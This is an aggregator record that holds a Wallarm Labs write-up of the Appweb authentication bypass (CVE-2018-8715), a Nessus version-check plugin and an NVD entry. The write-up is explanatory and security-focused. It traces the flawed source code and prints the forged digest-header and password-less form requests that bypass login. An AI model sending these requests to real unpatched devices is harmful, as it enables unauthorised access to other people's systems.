list!](<https://www.embedthis.com/#users>)).\n\nThe extent of the Appweb Unauthorized Bypass vulnerability from on [Shodan](<https://www.shodan.io/>).\n\n[Appweb](<https://nvd.nist.gov/vuln/detail/CVE-2018-8715>) is one of those little servers that can cause big problems. Versions of the Appweb server (4 to 7.0.2) had a logic flaw \u2014 an \u201cauthorization bypass vulnerability\u201d \u2014 that left devices vulnerable to hackers.\n\nAs ethical hackers, we decided to test whether the fixes were solid. We ran our own security tests to see if your devices really are as safe as they claim on the website.\n\nAppweb claims \u201cunmatched security.\u201don their website. They were able to fix the logic flaw. However, the problem allowed us a unique opportunity. First, the following engineering exercise shows the possible risks of unpatched software. As whitehat hackers, it also allows us to show discovery methods to defense engineers on how to look for 0-delay problems of a similar nature.We ran our own security tests, to see if your devices really are as safe as they claim.\n\n### Appweb: Selling you a bill of goods, and a dangerous IoT\n\nThe official spiel on Appweb\u2019s site is that a main benefit of the server is its security. We didn\u2019t want to accept the hype off the cuff. Our job is to hack the system better than hackers \u2014 test better than, well, testers. Wallarm Labs took a deeper look at least one issue that goes contrary to Appweb claim of unmatched security. Below, we are going to list the technical tests we ran (you can test along with us, if you like.) We didn\u2019t like how easy it would be to exploit this vulnerability.\n\n[Note: **you should update or fix any device you have with Appweb on it, though they have fixed the discovered vulnerability.**]\n\nSecurity is advertised as \u201cunmatched\u201d, but vulnerabilities can still exist \u2014 hidden in unnoticed locations.\n\nWe have demonstrated below with code and examples the IOT authentication vulnerability that we mentioned is real.\n\nGranted, the IoT authentication vulnerability that lets hackers in did get fixed in the newest version of the [EmbedThis Appweb](<https://www.embedthis.com/>) server. An update may help you out. Developers added correct checks for what _httpGetCredential_ function returns and username and password NULL pointer checks inside the formParse. (Look at the [commit](<https://github.com/embedthis/appweb/commit/5e1c2a9f72c3327832ce95ed79e2394449861ea3#diff-656121b1dd9fc70f0919142e1300fbde>) which fixes the vulnerability.)\n\nStill, not everything is sunshine and carefree rainbows. Many of the IoT devices using AppWeb never update the firmware or do it rarely. And that is where we found vulnerabilities running amok. Your printers, scanners and routers may still be vulnerable if not updated.\n\n\n\n### How we tested Appweb\u2019s security: A follow-along security exercise for engineers.\n\nHere is how we tested Appweb\u2019s claim to having front-page level security.\n\nFirst, we created a testing infrastructure (using a Docker container with [Debian Linux](<https://www.debian.org/>) onboard).\n\ndocker run \u2014 rm -p80:80 -ti \u2014 cap-add=SYS_PTRACE \u2014 security-opt seccomp=unconfined \u2014 name=appweb \u2014 hostname=appweb debian /bin/bash\n\nThen we installed some dependencies. (Because Appweb is written in C, we used GCC to make it easy to compile.) apt update && apt install \u2014 no-install-recommends -y ca-certificates wget nano make procps gcc libc6-dev\n\n[**If you\u2019re testing along, to debug the application with us install gdb and pwndbg tools**.]\n\napt install \u2014 no-install-recommends -y git gdb \ncd ~ \ngit clone[ https://github.com/pwndbg/pwndbg](<https://github.com/pwndbg/pwndbg>) \ncd pwndbg \n./setup.sh\n\nNext, download Appweb version 7.0.2 \u2014 the last vulnerable version.\n\nmkdir -p /usr/src/appweb && cd /usr/src/appweb \nwget \u2014 no-check-certificate -qO-<https://github.com/embedthis/appweb/archive/v7.0.2.tar.gz> | tar zx \u2014 strip-components=1\n\nNow we need to compile a web server and install it.\n\nmake && make install \nRun make with a debug flag to compile with debugging symbols. \nDEBUG=debug make && make install\n\n\n\nAfter successful installation, you need to change the configuration file \u2014 /etc/appweb/install.conf. You can define IP address or/and port where web server will bind in _Listen_ directive.\n\n/etc/appweb/install.conf: \nset LOG_DIR \u201c/var/log/appweb\u201d \nset CACHE_DIR \u201c/var/spool/appweb/cache\u201d \nDocuments \u201c/var/www/appweb\u201d \nListen 80 \n<if SSL_MODULE> \nListenSecure 443 \n</if>\n\nStart Appweb with \u2014 verbose flag to display debug information on the console.\n\n\n\nDuring analysis we\u2019ll change configuration file from time to time so please don\u2019t put your trusted editor like nano too far away. ;)\n\n### Vulnerability analysis\n\nAt this point, we are ready to look at the source code of Appweb. We need to open Embedthis HTTP library source directory, found inside _src/http_path.\n\nThe vulnerability exists in the authCondition function. It has a logic flaw in the authentication check process.\n\n/appweb-7.0.2/src/http/httpLib.c: \n14558: /* \n14559: This condition is used to implement all user authentication for routes \n14560: */ \n14561: static int authCondition(HttpConn *conn, HttpRoute *route, HttpRouteOp *op) \n14562: { \n14563: HttpAuth *auth; \n14564: cchar *username, *password;\n\nFirst, it checks _if authentication_ exists at the requested path. If it\u2019s not needed, then the function _exits and_ returns _HTTP_ROUTE_OK_ constant which tells an application to continue processing the user request.\n\n/appweb-7.0.2/src/http/httpLib.c: \n14569: auth = route->auth; \n14570: if (!auth || !auth->type) { \n14571: /* Authentication not required */ \n14572: return HTTP_ROUTE_OK; \n14573: }\n\nAt this moment we don\u2019t have any protected path in our testing environment. Let\u2019s fix that misconception. Edit server config to enable authentication and restart it. Create user _takeme_ with a random password.\n\n/etc/appweb/install.conf: \nset LOG_DIR \u201c/var/log/appweb\u201d \nset CACHE_DIR \u201c/var/spool/appweb/cache\u201d \nDocuments \u201c/var/www/appweb\u201d \nListen 80 \n<if SSL_MODULE> \nListenSecure 443 \n</if> \nAddHandler fileHandler \nAuthStore config \nAuthType basic appweb.local \nUser takeme 314b6053a96b25b4a6538996af4377ec user\n\n\n\nOk, auth enabled we can move next by code flow. When a user sends a login password combination to the server _httpIsAuthenticated_ is called. That function performs a session check that the current user has already successfully logged in before.\n\n/appweb-7.0.2/src/http/httpLib.c: \n14574: if (!httpIsAuthenticated(conn)) { \n/appweb-7.0.2/src/http/httpLib.c: \n1677: PUBLIC bool httpIsAuthenticated(HttpConn *conn) \n1678: { \n1679: return httpAuthenticate(conn); \n1680: } \n/appweb-7.0.2/src/http/httpLib.c: \n1526: /*\n\n1527: Authenticate a user using the session stored username. This will set HttpRx.authenticated if authentication succeeds.\n\n1528: Note: this does not call httpLogin except for auto-login cases where a password is not used.\n\n1529: */ \n1530: PUBLIC bool httpAuthenticate(HttpConn *conn) \n1531: { \n1532: HttpRx *rx; \n1533: HttpAuth *auth; \n1534: cchar *ip, *username; \n1535: \n1536: rx = conn->rx; \n1537: auth = rx->route->auth; \n1538: \n1539: if (!rx->authenticateProbed) { \n1540: rx->authenticateProbed = 1; \n1541: ip = httpGetSessionVar(conn, HTTP_SESSION_IP, 0); \n1542: username = httpGetSessionVar(conn, HTTP_SESSION_USERNAME, 0); \n1543: if (!smatch(ip, conn->ip) || !username) { \n1544: if (auth->username && *auth->username) { \n1545: /* Auto-login */ \n1546: httpLogin(conn, auth->username, NULL); \n1547: username = httpGetSessionVar(conn, HTTP_SESSION_USERNAME, 0); \n1548: } \n1549: if (!username) { \n1550: return 0; \n1551: } \n552: }\n\nIf that check fails then _httpGetCredentials_ function take a control.\n\n/appweb-7.0.2/src/http/httpLib.c: \n14574: if (!httpIsAuthenticated(conn)) { \n14575: httpGetCredentials(conn, &username, &password);\n\nNow let\u2019s see how it really works with a debugger. Run Appweb through gdb and set a breakpoint to _httpGetCredentials_.\n\ncd /etc/appweb/ \ngdb \u2014 args appweb \u2014 verbose \nset breakpoint pending on \nb httpGetCredentials \nr\n\nLoad index page, enter any login/password combination and after sending it to the server breakpoint is triggered.\n\n/appweb-7.0.2/src/http/httpLib.c: \n1647: PUBLIC bool httpGetCredentials(HttpConn *conn, cchar **username, cchar **password) \n1648: { \n1649: HttpAuth *auth; \n1650: \n1651: assert(username); \n1652: assert(password); \n1653: *username = *password = NULL;\n\n\n\nIn the config file we set up an authorization type to the _basic_. You can see that in debugger auth->type->name variable.\n\n\n\nBasic authentication credentials parsed inside _httpBasicParse_ function, see _auth->type->parseAuth_ variable.\n\n/appweb-7.0.2/src/http/httpLib.c: \n1666: if (auth->type->parseAuth && (auth->type->parseAuth)(conn, username, password) < 0) { \n1667: return 0; \n1668: }\n\n\n\nThat function does base64 decode and splits login/password sequence to two parts, and after that, we have variables with the same names.\n\n/appweb-7.0.2/src/http/httpLib.c: \n2111: PUBLIC int httpBasicParse(HttpConn *conn, cchar **username, cchar **password) \n2112: {\n\n\u2026\n\n2126: if ((decoded = mprDecode64(rx->authDetails)) == 0) { \n2127: return MPR_ERR_BAD_FORMAT; \n2128: } \n2129: if ((cp = strchr(decoded, \u2018:\u2019)) != 0) { \n2130: *cp++ = \u2018\\0\u2019; \n2131: } \n2132: conn->encoded = 0; \n2133: if (username) { \n2134: *username = sclone(decoded); \n2135: } \n2136: if (password) { \n2137: *password = sclone(cp); \n2138: } \n2139: return 0;\n\n\n\nNext, control goes to _httpLogin_ function where you can find all authorization logic. Set a breakpoint there. When all prechecks have completed then in _verifyUser_ variables stored the name of the function which calls with our credentials as arguments. It is configVerifyUser because we set up that in the configuration file.\n\n\n\n/appweb-7.0.2/src/http/httpLib.c: \n2018: static bool configVerifyUser(HttpConn *conn, cchar *username, cchar *password) \n2019: { \n2020: HttpRx *rx; \n2021: HttpAuth *auth; \n2022: bool success; \n2023: char *requiredPassword; \n2024: \n2025: rx = conn->rx; \n2026: auth = rx->route->auth; \n2027: if (!conn->user && (conn->user = mprLookupKey(auth->userCache, username)) == 0) { \n2028: httpTrace(conn, \u201cauth.login.error\u201d, \u201cerror\u201d, \u201cmsg: \u2018Unknown user\u2019, username:\u2019%s\u2019\u201d, username); \n2029: return 0; \n2030: }\n\nFirst, we will try to guess a valid username (bruteforce). I will deliberately use a wrong password then _mprLookupKey_ will return false and the server will return a _auth.login.error_.\n\n\n\nWith a valid login and a wrong password, you get the same type error, but a message will be \u201c_Password failed to authenticate_\u201d.\n\n\n\nIt appears that the basic authorization works well.\n\nNo vulnerabilities here, folks, move on. If only\u2026\n\nThe basic type of authorization works fine, but what if we want to change the method from old basic access authentication to \u201cmodern\u201d digest access authentication.\n\n/etc/appweb/install.conf: \nDocuments \u201c/var/www/appweb\u201d \nListen 80 \nAddHandler fileHandler \nAuthStore config \nAuthType digest appweb.local \nUser takeme 314b6053a96b25b4a6538996af4377ec user\n\nThis verification can be done without sending the clear password which should be good for security. Right? Let\u2019s see how it\u2019s implemented here. First, send request with valid username _takeme_ and without any authorization information.\n\nGET / HTTP/1.1 \nHost: appweb.local \nConnection: close \nAuthorization: Digest username=takeme\n\nThis time credentials are parsed by the httpDigestParse function.\n\n\n\nThere are parsing bunch of digest auth parameters like realm, nonce, opaque, etc. For that purposes, program allocates _HttpDigest_ structure.\n\n\n\nNext, string from _Authorization_ header will split by \u201c,\u201d and \u201c=\u201d symbols.\n\n/appweb-7.0.2/src/http/httpLib.c: \n6690: dp = conn->authData = mprAllocObj(HttpDigest, manageDigestData); \n6691: key = sclone(rx->authDetails);\n\n\u2026\n\n6693: while (*key) { \n6694: while (*key && isspace((uchar) *key)) { \n6695: key++; \n6696: } \n6697: tok = key; \n6698: while (*tok && !isspace((uchar) *tok) && *tok != \u2018,\u2019 && *tok != \u2018=\u2019) { \n6699: tok++; \n6700: }\n\n\u2026\n\n6707: seenComma = 0;\n\nWe provide only the username option in the request.\n\n\n\nThe function returns an error about wrong digest format MPR_ERR_BAD_FORMAT because of that.\n\n/appweb-7.0.2/src/mpr/mpr.h: \n240: #define MPR_ERR_BAD_FORMAT -5 /**< Bad input format */\n\n\n\nThe httpGetCredentials function returns 0 because if condition has been met (-5 < 0).\n\n\n\nBut it\u2019s not a big deal while results of the httpGetCredentials don\u2019t check. The httpLogin is called anyway.\n\n/appweb-7.0.2/src/http/httpLib.c: \n14575: httpGetCredentials(conn, &username, &password); \n14576: if (!httpLogin(conn, username, password)) {\n\n\n\nThus, valid username \u201ctakeme\u201d and _NULL_ password pass as arguments. It\u2019s the first logical miss.\n\n\n\nMoving on, the configVerifyUser function, our old friend, is used to validate the proof of supplied credentials.\n\n\n\nBut this time the condition is false, and part of the code that checks passwords will be ignored and the flow jumps to end of the function. There is \u201creturn 1\u201d code construction helps us to successfully bypass authentication.\n\n\n\nIt\u2019s the second logical issue after that return execution flow jumps to the line 1720 and a new user session is created.\n\n/appweb-7.0.2/src/http/httpLib.c: \n1717: if (!(verifyUser)(conn, username, password)) { \n1718: return 0; \n1719: } \n1720: if (!(auth->flags & HTTP_AUTH_NO_SESSION) && !auth->store->noSession) { \n1721: if ((session = httpCreateSession(conn)) == 0) { \n1722: /* Too many sessions */ \n1723: return 0; \n1724: } \n1725: httpSetSessionVar(conn, HTTP_SESSION_USERNAME, username); \n1726: httpSetSessionVar(conn, HTTP_SESSION_IP, conn->ip); \n1727: } \n1728: rx->authenticated = 1; \n1729: rx->authenticateProbed = 1; \n1730: conn->username = sclone(username); \n1731: conn->encoded = 0; \n1732: return 1;\n\n\n\nWith the valid session, we return to the authCondition.\n\n/ppweb-7.0.2/src/http/httpLib.c: \n14561: static int authCondition(HttpConn *conn, HttpRoute *route, HttpRouteOp *op) \n14562: {\n\n\u2026\n\n14574: if (!httpIsAuthenticated(conn)) { \n14575: httpGetCredentials(conn, &username, &password); \n14576: if (!httpLogin(conn, username, password)) {\n\n\u2026\n\n14587: } \n14588: if (!httpCanUser(conn, NULL)) {\n\n\u2026\n\n14594: } \n14595: /* OK to accept route. This does not mean the request was authenticated \u2014 an error may have been already generated */ \n14596: return HTTP_ROUTE_OK; \n14597: }\n\nSession returns in server response as cookie.\n\n\n\nNext time you send requests using that session httpIsAuthenticated function will return -1 and skips the other checks.\n\n/appweb-7.0.2/src/http/httpLib.c: \n14561: static int authCondition(HttpConn *conn, HttpRoute *route, HttpRouteOp *op) \n14562: {\n\n\u2026\n\n14574: if (!httpIsAuthenticated(conn)) {\n\n\u2026\n\n14587: }\n\n\u2026\n\n14596: return HTTP_ROUTE_OK; \n14597: } \n/appweb-7.0.2/paks/http/dist/httpLib.c: \n1677: PUBLIC bool httpIsAuthenticated(HttpConn *conn) \n1678: { \n1679: return httpAuthenticate(conn); \n/appweb-7.0.2/src/http/httpLib.c: \n1530: PUBLIC bool httpAuthenticate(HttpConn *conn) \n1531: { \n1532: HttpRx *rx; \n1533: HttpAuth *auth; \n1534: cchar *ip, *username; \n1535: \n1536: rx = conn->rx; \n1537: auth = rx->route->auth; \n1538: \n1539: if (!rx->authenticateProbed) {\n\n\u2026\n\n1558: return rx->authenticated; \n1559: }\n\n\n\nThe same problem exists when you use form-based authorization.\n\n/etc/appweb/install.conf: \nDocuments \u201c/var/www/appweb\u201d \nListen 80 \nAddHandler fileHandler \nAuthStore config \nAuthType form appweb.local \nUser takeme 314b6053a96b25b4a6538996af4377ec user \nWhen you send POST without password parameter, \nPOST / HTTP/1.1 \nHost: appweb.local \nConnection: close \nusername=takeme\n\nThen request parser formParse logic works incorrectly and httpGetParamfunction set _password_ to a _NULL_ pointer. If we don\u2019t have any attribute with name \u201cpassword\u201d, then return _defaultValue_ as a variable. But _defaultValue_passed as a third argument when code calls the httpGetParam, and it is 0.\n\n/appweb-7.0.2/src/http/httpLib.c: \n2073: PUBLIC int formParse(HttpConn *conn, cchar **username, cchar **password) \n2074: { \n2075: *username = httpGetParam(conn, \u201cusername\u201d, 0); \n2076: *password = httpGetParam(conn, \u201cpassword\u201d, 0); \n2077: return 0; \n2078: } \n/appweb-7.0.2/src/http/httpLib.c: \n22598: PUBLIC cchar *httpGetParam(HttpConn *conn, cchar *var, cchar *defaultValue) \n22599: { \n22600: cchar *value; \n22601: \n22602: value = mprReadJson(httpGetParams(conn), var); \n22603: return (value) ? value : defaultValue; \n22604: }\n\n\n\nThe result is the same as in the digest case \u2014 auth bypass.\n\n\n\nIf we return to basic auth type now, then we understand why this method cannot be used for a successful exploitation. Look at the httpBasicParsefunction.\n\n/appweb-7.0.2/src/http/httpLib.c: \n2111: PUBLIC int httpBasicParse(HttpConn *conn, cchar **username, cchar **password) \n2112: {\n\n\u2026\n\n2123: if (!rx->authDetails) { \n2124: return 0; \n2125: } \n2126: if ((decoded = mprDecode64(rx->authDetails)) == 0) { \n2127: return MPR_ERR_BAD_FORMAT; \n2128: }\n\n\u2026\n\n2133: if (username) { \n2134: *username = sclone(decoded); \n2135: } \n2136: if (password) { \n2137: *password = sclone(cp);2138: }\n\nIn any case, sclone is called for _password_ and _username_.\n\n/appweb-7.0.2/src/mpr/mprLib.c: \n23890: PUBLIC char *sclone(cchar *str) \n23891: { \n23892: char *ptr; \n23893: ssize size, len; \n23894: \n23895: if (str == 0) { \n23896: str = \u201c\u201d; \n23897: } \n23898: len = slen(str); \n23899: size = len + 1; \n23900: if ((ptr = mprAlloc(size)) != 0) { \n23901: memcpy(ptr, str, len); \n23902: ptr[len] = \u2018\\0\u2019; \n23903: } \n23904: return ptr; \n23905: }\n\nBut the sclone returns a valid pointer always even if you didn\u2019t pass password attribute.\n\n### Conclusion\n\nIf you\u2019ve followed along with the testing, you realize that the older version of software allow bad actors to make changes to your IoT devices, install spyware or worse without any kind of authentication.\n\nOur recommendation is to check what software your devices are running on. If there are products powered by EmbedThis software, schedule a service call and get the firmware flashed.\n\n#securityengineer #devsecops #cybersecurity #vulnerabilitydetection #hackers #whitehat #applicationsecurity #IoT\n\n\n\n* * *\n\n[Can your Printer Hack your Secrets: Appweb Authorization Bypass](<https://lab.wallarm.com/can-your-printer-hack-your-secrets-appweb-authorization-bypass-c609cf9024a7>) was originally published in [Wallarm](<https://lab.wallarm.com>) on Medium, where people are continuing the conversation by highlighting and responding to this story.", "modified": "2019-04-23T18:13:18", "published": "2019-02-28T15:45:23", "id": "WALLARMLAB:FFA8AFCAD5B1D254095419667B30984F", "href": "https://lab.wallarm.com/can-your-printer-hack-your-secrets-appweb-authorization-bypass-c609cf9024a7?source=rss----49b51199b3da---4", "type": "wallarmlab", "title": "Can your Printer Hack your Secrets: Appweb Authorization Bypass", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "nessus": [{"lastseen": "2023-05-20T14:41:59", "description": "According to its banner, the version of Appweb installed on the remote host is prior to 7.0.3. It is, therefore, have a logic flaw related to the authCondition function in http/httpLib.c. With a forged HTTP request, it is possible to bypass authentication for the form and digest login types.\n\nNote that Nessus did not actually test for this issue, but instead has relied on the version in the server's banner.", "cvss3": {}, "published": "2018-11-02T00:00:00", "type": "nessus", "title": "Appweb < 7.0.3 authCondition Authentication Bypass Vulnerability", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2018-8715"], "modified": "2019-11-01T00:00:00", "cpe": ["cpe:/a:mbedthis_software:mbedthis_appweb_http_server"], "id": "APPWEB_SERVER_7_0_3.NASL", "href": "https://www.tenable.com/plugins/nessus/118710", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(118710);\n script_version(\"1.3\");\n script_cvs_date(\"Date: 2019/11/01\");\n\n script_cve_id(\"CVE-2018-8715\");\n\n script_name(english:\"Appweb < 7.0.3 authCondition Authentication Bypass Vulnerability\");\n script_summary(english:\"Checks version in Server response header.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote web server may be affected by a authentication bypass \nvulnerability.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to its banner, the version of Appweb installed on the\nremote host is prior to 7.0.3. It is, therefore, have a logic flaw\nrelated to the authCondition function in http/httpLib.c. With a \nforged HTTP request, it is possible to bypass authentication for the\nform and digest login types.\n\nNote that Nessus did not actually test for this issue, but instead \nhas relied on the version in the server's banner.\");\n # https://github.com/embedthis/appweb/issues/610\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?b2bbda6c\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to Appweb version 7.0.3 or later.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2018-8715\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2018/03/14\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2018/03/14\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2018/11/02\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"remote\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:mbedthis_software:mbedthis_appweb_http_server\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Web Servers\");\n\n script_copyright(english:\"This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"appweb_server_detect.nasl\", \"os_fingerprint.nasl\");\n script_require_keys(\"www/appweb\");\n script_require_ports(\"Services/www\", 80, 7777);\n\n exit(0);\n}\n\ninclude(\"vcf.inc\");\ninclude(\"audit.inc\");\ninclude(\"http.inc\");\n\nport = get_http_port(default:80);\n\n# Make sure this is Appweb.\nget_kb_item_or_exit('www/'+port+'/appweb');\n\napp_info = vcf::get_app_info(app:\"Appweb\", kb_ver:'www/appweb/'+port+'/version', service:FALSE);\n\nconstraints = [{ \"min_version\" : \"4.0\", \"fixed_version\" : \"7.0.3\" }];\n\nvcf::check_version_and_report(app_info:app_info, constraints:constraints, severity:SECURITY_WARNING, strict:FALSE);\n", "cvss": {"score": 0.0, "vector": "NONE"}}], "cve": [{"lastseen": "2023-12-06T15:40:46", "description": "The Embedthis HTTP library, and Appweb versions before 7.0.3, have a logic flaw related to the authCondition function in http/httpLib.c. With a forged HTTP request, it is possible to bypass authentication for the form and digest login types.", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-03-15T01:29:00", "type": "cve", "title": "CVE-2018-8715", "cwe": ["CWE-287"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-8715"], "modified": "2020-02-17T16:15:00", "cpe": ["cpe:/a:embedthis:appweb:7.0.2"], "id": "CVE-2018-8715", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-8715", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:embedthis:appweb:7.0.2:*:*:*:*:*:*:*"]}]}